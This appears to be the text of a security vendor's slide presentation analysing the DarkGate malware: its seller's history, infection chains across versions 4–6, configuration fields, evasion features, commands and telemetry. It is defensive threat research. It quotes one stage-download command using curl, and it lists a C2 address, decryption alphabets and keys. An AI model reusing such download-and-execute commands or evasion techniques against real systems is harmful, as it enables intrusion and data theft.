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 Background
 DarkGate origins and evolution



Background
❏ DarkGate was released in 2018, however, it has been in development since 2017.

❏ DarkGate’s initial infection mechanism was via torrent files.

❏ Initially, one of the main goals of the malware was cryptomining.

❏ Another features included remote control and payload delivery.

❏ Future versions included a crypter known as MehCrypter, which was ultimately renamed 
to DarkGate Loader.

❏ The DarkGate prevalence was low until 
2023, when a new version was announced 
by its developer, RastaFarEye…



Background
❏ In June 2023, a threat actor known as RastaFarEye announced in different underground 

forums the release of new a version of DarkGate, the 4th one.



Background
❏ This new version included many features, as announced in the original post in an 

underground forum.



❏ After a few months, the high demand of DarkGate caught the attention of the security 
community, which analyze it, releasing blogs and creating analysis tools to aid other 
researchers.

Background



❏ Constant scrutiny by the security community forced RastaFarEye to release the next 
major DarkGate version, the 5th one, in October, only 4 months after the previous major 
release.

Background



Background
❏ In December 2023, RastaFarEye was reported by other underground forum members due 

to lack of support in other tools.

❏ This resulted in the ban of the user in the different underground forums.



Background
❏ However, this situation did not stop 

RastaFarEye to continue release new 
DarkGate versions, since in January 2024 
the next major release, the 6th one, was 
spotted by security researchers.

❏ This new version included many features 
promised for version 5 that were not 
delivered.

https://x.com/spamhaus/status/1750491586494873904



Background
❏ To continue with the business, RastaFarEye tried to create new monikers in the 

underground forums according to several forum users who base their claims on how these 
new users uses the Russian language and the way it creates posts.

❏ Two different monikers seemed to be linked to RastaFarEye, Bordislav and authpress.



 Execution chain
 From infection to payload execution



Execution chain - Delivery
❏ DarkGate is usually delivered via a phishing email or a Microsoft Teams message.



Execution chain - v4



Execution chain - v4
❏ The first stage can be either a VBScript or a MSI (Microsoft Installer) file.

MSI CAB

AutoIt3.exe

AutoIt3 
script



Execution chain - v4
❏ The second stage is an AutoIt3 script that will be executed via an AutoIt3 interpreter.



Execution chain - v4
❏ The third stage is a shellcode that contains the next stage.



Execution chain - v4
❏ The fourth stage is the loader of DarkGate, 

which will XOR decrypt the payload from the 
AutoIt3 script.

❏ The key is also included in the same AutoIt3 
script.



Execution chain - v5



Execution chain - v5
❏ The first stage will be similar to the one seen in the previous version, either a VBScript or a 

MSI file.

❏ The VBScript version directly drops the AutoIT payload instead of a DLL/executable 
combination.

❏ The MSI version utilizes DLL side-loading, where a signed executable loads a malicious 
DLL.

MSIVBScript



Execution chain - v5 - MSI
❏ The second stage of the MSI version is composed by two files KeyScrambler and 

KeyScramblerE.dll, which contains the next stage.

KeyScrambler.exe KeyScramblerE.dll



Execution chain - v5 - MSI
❏ The third stage of the MSI version is a 

shellcode that will execute the curl utility to 
download the next stage.

cmd /c cd /d %temp% & curl -o Autoit3.exe http://...



Execution chain - v5
❏ The fourth stage of the MSI version and the second stage of the VBScript version is an 

AutoIt3 script, pretty similar to the one seen in version 4.



Execution chain - v5
❏ The final stage is the loader of DarkGate, which will download, decrypt and execute the 

DarkGate payload.

❏ The key is included alongside with the encrypted data.



Execution chain - v6



Execution chain - v6
❏ The first stage of the sixth version can be either an HTML or a Microsoft Office (Excel) file.



Execution chain - v6

Excel file

HTML file



Execution chain - v6
❏ The second stage is a VBScript file that will execute a Powershell command to download 

and execute the next stage.

❏ The third stage is a Powershell script that will download three files, which makes up the 
next stage.



Execution chain - v6
❏ The fourth stage is composed by three files, an 

AutoHotKey interpreter, an AutoHotKey script and a text file 
containing the encoded version of the DarkGate payload.

❏ Also, the text file contains a small shellcode at the 
beginning of the file that will simply execute a few jump 
instructions until it reaches the beginning of the payload.



 DarkGate payload
 The final stage



DarkGate payload - Strings
v4
❏ Base64 encoded

❏ Custom alphabets

v5 & v6
❏ No encoding/encryption

configuration = "zLAxuU0kQKf3sWE7ePRO2imyg9GSpVoYC6rhlX48ZHnvjJDBNFtMd1I5acwbqT+="
general_strings 
="GYsyiN0PCntRw8TM7ZIcjWH5xp=+hFd91Dfzu6aE3v2AoXgVUKlme4qbkrJOBSLQ"



DarkGate payload - Configuration
v4
❏ Base64 encoded

❏ Custom alphabets

❏ Same as strings

v6
❏ Custom XOR encryption

v5
❏ No encoding/encryption



 DarkGate 
payload
 Configuration

 

v4 v5 Description v6 Description
0=7891 0=2351 port number 0=103.124.106.237| CnC

1=Yes 1=Yes startup 1=Yes persistence

2=Yes 2=Yes rootkit 2=unk unknown

3=No 3=No anti-analysis vm 3=Yes anti-analysis vm

4=50 4=100 minimum disk 4=No anti-analysis disk

5=Yes 5=No anti-analysis disk 5=No xeon

6=No 6=Yes anti-analysis environment 6=Yes anti-analysis vm

7=4096 7=4096 minimum RAM 7=No anti-analysis RAM

8=Yes 8=No anti-analysis RAM 8=No fake error

9=No 9=No xeon 9=unk unknown

10=bbaede 10=txtMut internal mutex 10=unk unknown

11=No 11=Yes raw stub 11=DarkGate fake error caption

12=No 12=No DLL crypter 12=R0ijS0qCVITtS0e6xeZ fake error encoded message

13=Yes 13=No AU3 crypter 13=6 unknown

14=16 14=4 unknown 14=Yes unknown

15=lXBgOPPXJaUkJm 15=nKHBgEnVjIFSfg key 15=80 port number

16=16 16=4 ping delay 16=unk unknown

17=No 17=Yes debugged 17=unk unknown

18=Yes 18=Yes unknown 18=50 minimum disk

19=Yes 19=Yes persistency option 19=4000 minimum RAM

20=Yes 20=unk binder 20=unk unknown

21=unk 21=unk system info string 21=No unknown

22=9999 22=8080 crypto port number 22=No DLL crypter

23=pieceofcake 23=A111133 username 23=No AU3 crypter

24=Yes installation path 24=edr2 unknown

25=4 commands delay 25=admin888 affiliate/campaign ID

26=Yes unknown 26=No process hollowing relaunch

27=No write system info 27=bedxvHpr key

28=No kaspersky bypass 28=No unknown

29=Yes unknown 29=2 DLL sideload app

30=unk unknown

31=Yes AutoHotKey crypter

32=No AddressOfEntryPoint injection

33=unk sqlite3.dll crypter

tabla=4V7z,jJfq)...



DarkGate payload - Configuration

https://github.com/trellix-arc/tig-threat-research/blob/main/DarkGate/darkgate_config_extractor.py



DarkGate payload - Features
❏ Anti-analysis

❏ Virtual machine detection

❏ Antivirus detection

❏ System monitoring tools



DarkGate payload - Features
❏ Antivirus evasion (aka rootkit)

❏ Process Hollowing

❏ Parent PID spoofing

❏ DLL injection

❏ AddressOfEntryPoint injection (v6)



DarkGate payload - Command and control
v4 & v5

❏ id: identifier

❏ data: XOR encrypted and Base64 encoded

❏ act: command identifier

id data act

v6
❏ hash: custom MD5 composed by the 

Windows Product ID, processor 
information, and computer name

❏ encrypted_data: same encryption as 
configuration

Base64 encoded

hash encrypted_data

Custom MD5

product_ID processor_info computer_name



DarkGate payload - Commands

v4

v5

v6



DarkGate payload - Commands
❏ Credential and information theft



DarkGate payload - Commands
❏ Keylogger

❏ Clipboard theft



DarkGate payload - Commands
❏ Remote access



DarkGate payload - Commands
❏ Screenshot

v4

v6



DarkGate payload - Commands

❏ BSOD❏ Self deletion

❏ System shutdown and reboot





DarkGate payload - Discarded commands
❏ Privilege escalation (v4 and v5)



DarkGate payload - Discarded commands
❏ Cryptomining (v4 and v5)



DarkGate payload - Discarded commands
❏ Delete Volume Shadow Copy Service information (v4 and v5)

❏ HVNC (v4 and v5)



DarkGate payload - Discarded features
❏ Commonwealth of Independent States (CIS) execution prevention(v4.10)



 Telemetry
 Who was affected by DarkGate?



 Telemetry
 ATLAS

 Global detections registered 
by files categorized as 
DarkGate malware



 Telemetry
 ATLAS

 Detections categorized by 
customer sector, whois 
sector, country, MD5, event 
name and threat actor



 Telemetry
 ATLAS

 DarkGate detection 
timelines categorized by 
detection and client



 How to get insights 
about a sample?
 Trellix IVX









 How to stay protected?
 Trellix EDR









 Conclusions
 



Conclusions
❏ The high demand of DarkGate may have been caused by the dismantling of QBot a few 

months before its release.

❏ The high price of DarkGate has not been a big issue for cybercriminals to acquire 
licenses.

❏ The removal of some key features like the cryptomining or the privilege escalation ones 
makes us believe that RastaFarEye is either listening its customers or trying to make 
DarkGate stealthier.

❏ RastaFarEye has continued delivering updates to DarkGate, including new features and 
modifications to overcome the applied security measures, despite being banned from 
underground forums, which makes us believe that we will see future versions of 
DarkGate.



Conclusions

Know the threats 
before they impact 
your infrastructure

Help with phishing 
attempts

Detect latest 
DarkGate samples, 

gather detailed 
malware activity

Insights
Email 

Security IVX

Detect suspicious 
behaviours

Endpoint 
Security



Links

The Continued Evolution of the 
DarkGate Malware-as-a-Service DarkGate again but... Improved? DarkGate v6 configuration 

extractor



 Thank you so much!
 Questions loading…




